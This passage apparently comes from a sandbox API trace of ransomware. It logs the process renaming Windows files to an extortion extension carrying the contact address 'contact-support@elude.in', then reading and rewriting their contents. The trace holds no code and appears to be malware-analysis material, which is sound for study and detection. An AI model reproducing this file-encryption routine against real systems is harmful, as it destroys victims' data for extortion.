(dwMilliseconds=0x1) [0083.440] Sleep (dwMilliseconds=0x1) [0083.699] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.808] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.957] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.181] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.468] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.328] Sleep (dwMilliseconds=0x1) [0091.760] Sleep (dwMilliseconds=0x1) [0093.313] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", len=0x26 | out: pbstr=0x40bff7c*="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 1 [0093.313] GetProcessHeap () returned 0x630000 [0093.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6747e0, Size=0x90) returned 0x663ba8 [0093.313] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0093.313] CloseHandle (hObject=0x6e4) returned 1 [0093.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.339] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RGB9RA~2.FIR")) returned 0x6d5240 [0093.340] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0093.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0093.341] GetProcessHeap () returned 0x630000 [0093.341] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x714c768 [0093.341] GetProcessHeap () returned 0x630000 [0093.341] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7157b98 [0093.342] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.342] ReadFile (in: hFile=0x6e4, lpBuffer=0x714c768, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c768*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.500] GetProcessHeap () returned 0x630000 [0100.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.500] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.500] WriteFile (in: hFile=0x6e4, lpBuffer=0x7157b98*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157b98*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.500] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.500] WriteFile (in: hFile=0x6e4, lpBuffer=0x7162f97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162f97*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.501] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.501] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.502] CloseHandle (hObject=0x6e4) returned 1 [0100.506] GetProcessHeap () returned 0x630000 [0100.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7157b98 | out: hHeap=0x630000) returned 1 [0100.507] GetProcessHeap () returned 0x630000 [0100.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c768 | out: hHeap=0x630000) returned 1 [0100.507] GetProcessHeap () returned 0x630000 [0100.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.507] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x1da5604, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d224, dwReserved0=0xb247496, dwReserved1=0x714c760, cFileName="RGB9RAST_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RGB9RA~2.FIR")) returned 0x6d5500 [0100.507] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0100.508] Sleep (dwMilliseconds=0x1) [0100.511] Sleep (dwMilliseconds=0x1) [0100.527] Sleep (dwMilliseconds=0x1) [0100.554] Sleep (dwMilliseconds=0x1) [0100.559] Sleep (dwMilliseconds=0x1) [0100.574] Sleep (dwMilliseconds=0x1) [0100.591] Sleep (dwMilliseconds=0x1) [0101.413] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Boot\\Fonts\\meiryon_boot.ttf", len=0x1e | out: pbstr=0x40bff7c*="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 1 [0101.414] GetProcessHeap () returned 0x630000 [0101.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x20) returned 0x6e91e8 [0101.414] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.352] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.379] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.520] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.755] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.152] Sleep (dwMilliseconds=0x1) [0103.165] Sleep (dwMilliseconds=0x1) [0103.184] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.209] Sleep (dwMilliseconds=0x1) [0103.223] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.264] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.321] Sleep (dwMilliseconds=0x1) [0103.366] Sleep (dwMilliseconds=0x1) [0103.401] Sleep (dwMilliseconds=0x1) [0103.434] Sleep (dwMilliseconds=0x1) [0103.448] Sleep (dwMilliseconds=0x1) [0103.467] Sleep (dwMilliseconds=0x1) [0103.496] Sleep (dwMilliseconds=0x1) [0103.512] Sleep (dwMilliseconds=0x1) [0103.527] Sleep (dwMilliseconds=0x1) [0103.543] Sleep (dwMilliseconds=0x1) [0103.558] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", len=0x3f | out: pbstr=0x40bff7c*="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 1 [0103.558] GetProcessHeap () returned 0x630000 [0103.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x20) returned 0x6e9288 [0103.558] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0103.623] CloseHandle (hObject=0x3f8) returned 1 [0103.623] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.835] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.836] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.836] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2, dwReserved1=0xffffffdf, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI53FB~1.FIR")) returned 0x6d51c0 [0103.836] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0103.836] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0103.837] GetProcessHeap () returned 0x630000 [0103.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7084008 [0103.838] GetProcessHeap () returned 0x630000 [0103.838] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x708f438 [0103.838] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.838] ReadFile (in: hFile=0x3f8, lpBuffer=0x7084008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7084008*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.198] GetProcessHeap () returned 0x630000 [0110.198] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0110.198] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.198] WriteFile (in: hFile=0x3f8, lpBuffer=0x708f438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x708f438*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.199] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.199] WriteFile (in: hFile=0x3f8, lpBuffer=0x709a837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x709a837*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.206] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.206] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.206] CloseHandle (hObject=0x3f8) returned 1 [0112.207] GetProcessHeap () returned 0x630000 [0112.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708f438 | out: hHeap=0x630000) returned 1 [0112.207] GetProcessHeap () returned 0x630000 [0112.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7084008 | out: hHeap=0x630000) returned 1 [0112.210] GetProcessHeap () returned 0x630000 [0112.210] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0112.210] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.210] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8d44956, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb247496, dwReserved1=0x7084000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI53FB~1.FIR")) returned 0x6d4e40 [0112.210] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.210] Sleep (dwMilliseconds=0x1) [0113.491] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.554] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.212] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0117.044] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", len=0x34 | out: pbstr=0x40bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 1 [0117.044] GetProcessHeap () returned 0x630000 [0117.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b060, Size=0x38) returned 0x6d4e00 [0117.045] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0117.048] CloseHandle (hObject=0x710) returned 1 [0117.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNPACK~1.FIR")) returned 0x6d5200 [0117.049] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0117.049] GetProcessHeap () returned 0x630000 [0117.049] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0117.050] GetProcessHeap () returned 0x630000 [0117.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0117.050] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.050] ReadFile (in: hFile=0x710, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.207] GetProcessHeap () returned 0x630000 [0122.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0122.207] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.207] WriteFile (in: hFile=0x710, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.208] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.208] WriteFile (in: hFile=0x710, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.209] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.209] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.209] CloseHandle (hObject=0x710) returned 1 [0122.213] GetProcessHeap () returned 0x630000 [0122.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0122.214] GetProcessHeap () returned 0x630000 [0122.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0122.214] GetProcessHeap () returned 0x630000 [0122.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0124.282] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeca49d4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30264, dwReserved0=0xb247496, dwReserved1=0x72e9d70, cFileName="unpack200.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNPACK~1.FIR")) returned 0x6d5440 [0124.283] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0124.283] Sleep (dwMilliseconds=0x1) [0124.301] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", len=0x33 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 1 [0124.301] GetProcessHeap () returned 0x630000 [0124.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x138) returned 0x66a3e0 [0124.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.302] CloseHandle (hObject=0x4e8) returned 1 [0124.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 